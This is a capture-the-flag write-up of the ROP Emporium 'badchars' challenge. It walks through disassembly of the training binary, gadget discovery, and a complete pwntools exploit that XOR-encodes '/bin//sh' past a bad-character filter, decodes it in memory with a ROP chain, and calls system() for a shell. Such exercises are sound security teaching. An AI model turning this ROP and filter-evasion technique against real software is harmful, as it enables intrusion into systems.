ROP Emporium - badchars
The previous challenge taught a very important pattern of “the mover” by performing chunked writes of arbitrary data into memory. This next challenge deals with a illegal or bad characters. Most everyone who has written exploits before has run into them at some point. Manually searching for which bytes are considered bad can be rather time consuming so plenty of tools have incorporated automatic detection. In our case the input characters which will result in badbytes have also been provided to us to make it easier to focus on the actual exploit.
Exploring the binary⌗
Nothing new under the sun, still NX enabled and further protection mechanisms disabled:
jasper@ropper:~/ropemporium/badchars$ checksec badchars
[*] '/home/jasper/ropemporium/badchars/badchars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
At this point I’m looking forward to experiment with bypassing the stack canary. This won’t be covered by ROP Emporium so I’ll look elsewhere how to accomplish this.
As stated the badbytes are known up front and we don’t have to compare memory against a pre-generated file containing all bytes which you’d usually do.
jasper@ropper:~/ropemporium/badchars$ ./badchars
badchars by ROP Emporium
64bits
badchars are: b i c / <space> f n s
>
Just to be sure we can disassemble the aptly named checkBadChar()
function:
[0x00400a40]> pdb
/ (fcn) sym.checkBadchars 158
| sym.checkBadchars (int arg1, unsigned int arg2);
| ; var unsigned int local_30h @ rbp-0x30
| ; var int local_28h @ rbp-0x28
| ; var int local_20h @ rbp-0x20
| ; var int local_1fh @ rbp-0x1f
| ; var int local_1eh @ rbp-0x1e
| ; var int local_1dh @ rbp-0x1d
| ; var int local_1ch @ rbp-0x1c
| ; var int local_1bh @ rbp-0x1b
| ; var int local_1ah @ rbp-0x1a
| ; var int local_19h @ rbp-0x19
| ; var unsigned int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; arg int arg1 @ rdi
| ; arg unsigned int arg2 @ rsi
| ; CALL XREF from sym.pwnme (0x4009b0)
| 0x00400a40 55 push rbp
| 0x00400a41 4889e5 mov rbp, rsp
| 0x00400a44 48897dd8 mov qword [local_28h], rdi ; arg1
| 0x00400a48 488975d0 mov qword [local_30h], rsi ; arg2
| 0x00400a4c c645e062 mov byte [local_20h], 0x62 ; 'b' ; 98
| 0x00400a50 c645e169 mov byte [local_1fh], 0x69 ; 'i' ; 105
| 0x00400a54 c645e263 mov byte [local_1eh], 0x63 ; 'c' ; 99
| 0x00400a58 c645e32f mov byte [local_1dh], 0x2f ; '/' ; 47
| 0x00400a5c c645e420 mov byte [local_1ch], 0x20 ; 32
| 0x00400a60 c645e566 mov byte [local_1bh], 0x66 ; 'f' ; 102
| 0x00400a64 c645e66e mov byte [local_1ah], 0x6e ; 'n' ; 110
| 0x00400a68 c645e773 mov byte [local_19h], 0x73 ; 's' ; 115
| 0x00400a6c 48c745f80000. mov qword [local_8h], 0
| 0x00400a74 48c745f00000. mov qword [local_10h], 0
| 0x00400a7c 48c745f80000. mov qword [local_8h], 0
| ,=< 0x00400a84 eb4b jmp 0x400ad1
[0x00400a40]>
Here too there is a call to system()
but not with an argument we can readily re-use, but at least there is a PLT entry for this function for later use:
[0x004006f0]> afl
0x00400698 3 26 sym._init
0x004006d0 1 6 sym.imp.free
0x004006e0 1 6 sym.imp.puts
0x004006f0 1 6 sym.imp.system
0x00400700 1 6 sym.imp.printf
0x00400710 1 6 sym.imp.memset
0x00400720 1 6 sym.imp.__libc_start_main
0x00400730 1 6 sym.imp.fgets
0x00400740 1 6 sym.imp.memcpy
0x00400750 1 6 sym.imp.malloc
0x00400760 1 6 sym.imp.setvbuf
0x00400770 1 6 sym.imp.exit
0x00400780 1 6 sub.__gmon_start_400780
0x00400790 1 41 entry0
0x004007c0 4 50 -> 41 sym.deregister_tm_clones
0x00400800 4 58 -> 55 sym.register_tm_clones
0x00400840 3 28 sym.__do_global_dtors_aux
0x00400860 4 38 -> 35 entry.init0
0x00400886 1 111 sym.main
0x004008f5 4 234 sym.pwnme
0x004009df 1 17 sym.usefulFunction
0x004009f0 7 80 sym.nstrlen
0x00400a40 9 158 sym.checkBadchars
0x00400b50 4 101 sym.__libc_csu_init
0x00400bc0 1 2 sym.__libc_csu_fini
0x00400bc4 1 9 sym._fini
[0x004006f0]> s 0x004006f0
[0x004006f0]> pdb
/ (fcn) sym.imp.system 6
| sym.imp.system (const char *string);
| ; CALL XREF from sym.usefulFunction (0x4009e8)
\ 0x004006f0 ff2532092000 jmp qword reloc.system ; [0x601028:8]=0x4006f6
[0x004006f0]> s sym.usefulFunction
[0x004009df]> pdb
/ (fcn) sym.usefulFunction 17
| sym.usefulFunction ();
| 0x004009df 55 push rbp
| 0x004009e0 4889e5 mov rbp, rsp
| 0x004009e3 bf2f0c4000 mov edi, str.bin_ls ; 0x400c2f ; "/bin/ls" ; const char *string
| 0x004009e8 e803fdffff call sym.imp.system ; int system(const char *string)
| 0x004009ed 90 nop
| 0x004009ee 5d pop rbp
\ 0x004009ef c3 ret
[0x004009df]>
Now, while looking at the output of objdump -M intel -D badchars
I noticed a “function” named usefulGadgets
. It wasn’t called in this binary and in fact wasn’t really a function because it lacks the standard prologue and epilogue code. This is probably the reason why r2 couldn’t find it. However it does contain something interesting:
[0x00400886]> s 0x0000000000400b30
[0x00400b30]> pdb
Cannot find function at 0x00400b30
[0x00400b30]> pd
;-- usefulGadgets:
0x00400b30 453037 xor byte [r15], r14b
0x00400b33 c3 ret
0x00400b34 4d896500 mov qword [r13], r12
0x00400b38 c3 ret
0x00400b39 5f pop rdi
0x00400b3a c3 ret
0x00400b3b 415c pop r12
0x00400b3d 415d pop r13
0x00400b3f c3 ret
0x00400b40 415e pop r14
0x00400b42 415f pop r15
0x00400b44 c3 ret
0x00400b45 662e0f1f8400. nop word cs:[rax + rax]
0x00400b4f 90 nop
The gadget at 0x00400b30
can help us in decoding XOR-encoded input which the program would have read through fgets()
in pwnme()
:
| 0x00400984 e8a7fdffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| 0x00400989 488945d8 mov qword [ptr], rax
| 0x0040098d 488b45d8 mov rax, qword [ptr]
| 0x00400991 be00020000 mov esi, 0x200 ; 512
| 0x00400996 4889c7 mov rdi, rax
| 0x00400999 e852000000 call sym.nstrlen
| 0x0040099e 488945d0 mov qword [s1], rax
| 0x004009a2 488b55d0 mov rdx, qword [s1]
| 0x004009a6 488b45d8 mov rax, qword [ptr]
| 0x004009aa 4889d6 mov rsi, rdx
| 0x004009ad 4889c7 mov rdi, rax
| 0x004009b0 e88b000000 call sym.checkBadchars
We cannot bypass the call to checkBadchars()
because that happens from within pwnme()
meaning that we overwrite the return address after pwnme()
so afterwards we take over control of the execution flow but we still have to complete the execution of pwnme
.
Further gadgets can quickly be found using Ropper too with: ropper --file badchars --badbytes 6263692f2073666e
.
Encoding the input⌗
Knowing the list of badbytes and given the gadget that can XOR a byte and store it at a different address, we can figure out how to exploit this binary. If we XOR-encode our payload with a key and ensure the output doesn’t contain one of the badbytes, we can decode the payload in memory.
I chose to use a byte as the key where the value lies far outside the range of the ASCII table and thus makes it less likely to result in bad bytes. To make sure that all bytes of a given input of 8 bytes are encoded I extend the key. So 0xa9
(key byte) becomes 0xa9a9a9a9a9a9a9a9
(full key).
The final ROP chain moves the encoded payload with one swift mov
into .bss
and then adds the frames to decode it byte by byte. The result is a fairly large payload of 321 bytes, but it does the job just fine!
Exploit⌗
jasper@ropper:~/ropemporium/badchars$ python badchars.py
[+] Starting local process './badchars': pid 23056
[*] Switching to interactive mode
$ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$
The final exploit code is as follows:
#!/usr/bin/env python2
import argparse
from pwn import *
# XOR encode the input
def encode(input, key):
# We should XOR it with a key that lies outside of the ASCII range
# to prevent creating an encrypted value that contains one of the
# bad chars.
if key < 0x80:
log.warning('Chosen key might result in bad bytes!')
# First convert the command to strings in LE hex
enc = enhex(input[::-1])
# Now convert it to an integer so we can XOR it. Otherwise
# we attempt to XOR the key with a string ('0xsomething')
# which doesn't use the right types.
enc = int(enc, 16)
# Convert the key byte into a full 8 byte key.
key = int('0x' + (hex(key)[2:4] * 8), 16)
enc = p64(enc ^ key)
bad_bytes = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x73, 0x66, 0x6e]
for b in bad_bytes:
if p8(b) in enc:
log.error('Found a bad byte in the encoded command: {}'.format(hex(b)))
return enc
def exploit():
p = process('./badchars')
p.recvuntil('\n> ')
# Gadgets
pop_rdi = p64(0x400b39)
pop_r14_r15 = p64(0x400b40)
# 400b30: xor byte ptr [r15], r14b; ret;
# xor r14b with [r15] and store the result in [r15]
xor_r15_r14b = p64(0x400b30)
# 400b34: mov qword ptr [r13], r12; ret;
mov_r13_r12 = p64(0x400b34)
pop_r12_r13 = p64(0x400b3b)
nop = p64(0x4006b1)
# Functions (and PLT entries)
system_plt = p64(0x4006f0)
bss = 0x601080
key = 0xa9
cmd = encode('/bin//sh', key)
payload = 'A' * 40
payload += pop_r12_r13
payload += cmd
payload += p64(bss)
payload += mov_r13_r12
# Loop through cmd (8 bytes) and decode each byte in-place using our key
# through the xor gadget we found.
for i in range(0, 8):
payload += pop_r14_r15
payload += p64(key)
payload += p64(bss + i)
payload += xor_r15_r14b
payload += pop_rdi
payload += p64(bss)
payload += nop
payload += system_plt
p.sendline(payload)
p.interactive()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--arch', '-a',
help='Binary architecture', default='amd64')
parser.add_argument('--os', '-O',
help='Operating system', default='linux')
parser.add_argument('--debug', '-d',
help='Enable debug output', default=False,
action='store_true')
args = parser.parse_args()
context(os=args.os, arch=args.arch)
if args.debug:
context.log_level = 'debug'
exploit()
if __name__ == '__main__':
main()